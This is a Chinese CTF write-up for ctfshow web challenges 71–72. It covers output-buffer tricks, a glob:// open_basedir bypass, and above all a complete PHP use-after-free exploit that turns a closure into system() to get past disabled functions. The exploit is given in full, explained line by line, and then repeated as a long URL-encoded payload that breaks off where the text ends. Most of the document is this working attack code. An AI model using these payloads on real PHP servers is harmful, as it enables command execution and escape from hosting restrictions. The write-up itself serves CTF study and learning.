CTF WEB入门 命令执行篇71-124

1-70在前面两篇。对应ctfshow web入门 web71-web124

目录

web71

web72

web73

web74

web75

web76

web77

web118

web119

web120

web121

web122

web124

总结


web71

这题下载文件得到源码

解释一下源码:

  • ob_get_contents,得到输出缓冲区内容
  • ob_end_clean,清除缓冲区内容
  • preg_replace,替换内容

将参数传入并执行,清空输出,将执行结果的数字和字母都替换成?号,输出。

那这种情况就得不到输出结果。

1. 方法一,可以想到先提前终止程序。

终止程序的函数可以有:

  • exit
  • die

输出文件函数根据之前题目那几个都可以,或者include

  1. 也可以想到利用缓冲区函数,在清除缓冲区之前就先把原来缓冲区输出

可以利用的函数

  • ob_flush。刷新缓冲区,会先把前面的缓冲区内容输出。
  • ob_end_flush。关闭缓冲区,并输出缓冲区内容。

web72

源码跟上题一样不分析

但这题出现一个很复杂的情况,如下。

  1. 使用system等执行命令的系统命令,发现被禁用,那么直接调用系统执行命令行不通
  1. 第二个情况是之前都没有出现过的,使用scandir去获取目录情况时,出现一个报错

这个错误提示的核心是open_basedir路径限制,直接禁止了除var/www/html的目录访问,只要涉及到文件目录的获取和读取都会被这个规则限制。

  • open_basedir,是php的安全配置项,作用是限制php只能访问指定目录下的文件,对于php原生文件操作函数都会遵守这个规则。

我们可以利用到伪协议进行获取目录glob

为什么伪协议glob可以绕过限制?

  • glob的作用是"按文件名模式去匹配文件路径",它的执行逻辑是"匹配",不是"遍历"。php的原生函数都是去遍历目录然后获取,open_basedir针对的就是目录遍历操作。所以glob可以绕过限制获取到目录内容。
复制代码
c=var_export(scandir('glob:///*'));exit;
#其中,glob://为协议,/*为根目录所有内容

发现根目录下的flag0.txt文件

  1. 获取到文件路径,下一步获取文件内容。

上面说的,用php的函数去获取文件被禁用,那么是否也可以通过php的伪协议去获取文件内容呢?

但实验了几次会发现,无论你用哪种方法,比如include等函数+伪协议读取、利用fopen和fread读取文件、或是利用chr数字构造无字母payload等等,都会发现函数被禁用。

进一步推断使用php原生态函数行不通。

那么php函数被禁用、system等系统命令也被禁用,这种情况需要使用UAF漏洞(内存地址层面)。不是说好web入门吗???????????????????

先放payload

复制代码
?><?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

是不是看不懂?这代码涉及这php的内核内存操作、UAF漏洞原理等底层知识,我也不懂。

但也可以大概去了解一下,尽量不要做脚本小子

首先,需要了解两个必须的知识

  • UAF漏洞的本质:php对象被**unset(销毁)**之后,其占用的内存块未被系统回收,后续代码仍能够访问/修改这块内存。如果学习理解过指针,那这一块应该很好理解,就是指针没有被回收。
  • php存储是按固定格式存储的,所以可以使用数组去引用,间接操作内存。

该漏洞利用的核心原理是:

利用UAF(使用后释放)漏洞,篡改闭包内存结构,替换函数指针,执行目标命令。

怎么理解?

代码中最关键的部分就是write(abc, 0xd0 + 0x68, zif_system); 这一条,它的作用是 替换闭包的函数指针为 system 。那么根据这条函数来说明一下三个参数。

  • 闭包是一种能够使用在它的函数之外的变量的匿名函数。普通的函数不能捕获外部的变量,只能使用本函数定义的变量(一般要使用外部变量要使用全局变量)。这里的闭包就是Helper对象
  • $abc变量的生成步骤:
    • 执行trigger_uaf('x'),创建超长随机字符串arg,实例化Vuln对象vuln,然后将vuln-\>a这个指针指向arg对应的内存块
    • 上面函数执行结束,vuln对象被销毁,会触发__destruct()析构函数。__destruct()里面会进行unset(this->a)释放刚刚那个内存块,但此时,$backtrace变量还保留着对内存块M的引用,这里就触发了UAF漏洞,这块内存我们还可以进行使用。
    • 最后将abc变量`abc = $backtrace[1]['args'][0]`指向这个已经被释放的内存块首部。
  • 上面的内存块被释放后,会变成空闲内存;紧接着执行$helper->b = function ($x) { }闭包对象的创建,php需要为这个闭包对象分配内存(闭包在php中是结构化对象,需要固定大小的内存空间),由于上面那块内存块刚释放并且大小合适,php会把内存块重新分配给这个闭包对象。也就是闭包对象的内存区域是上面那块内存块,而且$abc仍指向这个内存块。里面包含了闭包的所有数据,比如函数指针、类型标记,都存储在内存块。
  • 接下来的目标,把闭包内存中的"函数指针"这个字段的值,改成system函数的内存地址,这样调用闭包时,系统回去执行函数指针指针指向的代码,也就是system。那么要拿到system函数,需要知道system函数的内存地址:
    • php本身就是一个ELE格式的二进制程序,代码中通过get_binary_base找到基地址,利用匹配 ELF 文件的固定 "魔数"。
    • 然后去找php的内置函数表(也就是system等函数存放的地方),会存放到一个家basic_functions的哈希表中,代码通过get_basic_funcs找到这个表,利用匹配表的固定特征,比如包含bind2hex等关键字的内存值。
    • 最后从函数表中找到system的地址。basic_functions表中,每个函数的信息占固定大小,包含函数名指针(指向system的内存地址)、函数入口指针(指向system执行代码的内存地址),通过函数名十六进制匹配,获得system函数的入口地址$zif_system。
  • 0xd0 + 0x68。就是闭包内存的函数指针的位置。

write函数意思就是将函数指针指向system函数的入口地址,然后调用闭包($helper->b)($cmd)就能够使用system来执行cmd。

总体的经过就是这样,应该能够简单理解。剩下很细的部分,比如内存地址具体怎么找的,偏移量怎么判定的,后面继续深造学习吧。

ok,利用payload的话只需要将上面代码进行url转码

复制代码
c=%3f%3e%3c%3f%70%68%70%0a%66%75%6e%63%74%69%6f%6e%20%63%74%66%73%68%6f%77%28%24%63%6d%64%29%20%7b%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0a%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%70%74%72%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%76%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0a%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0a%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0a%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0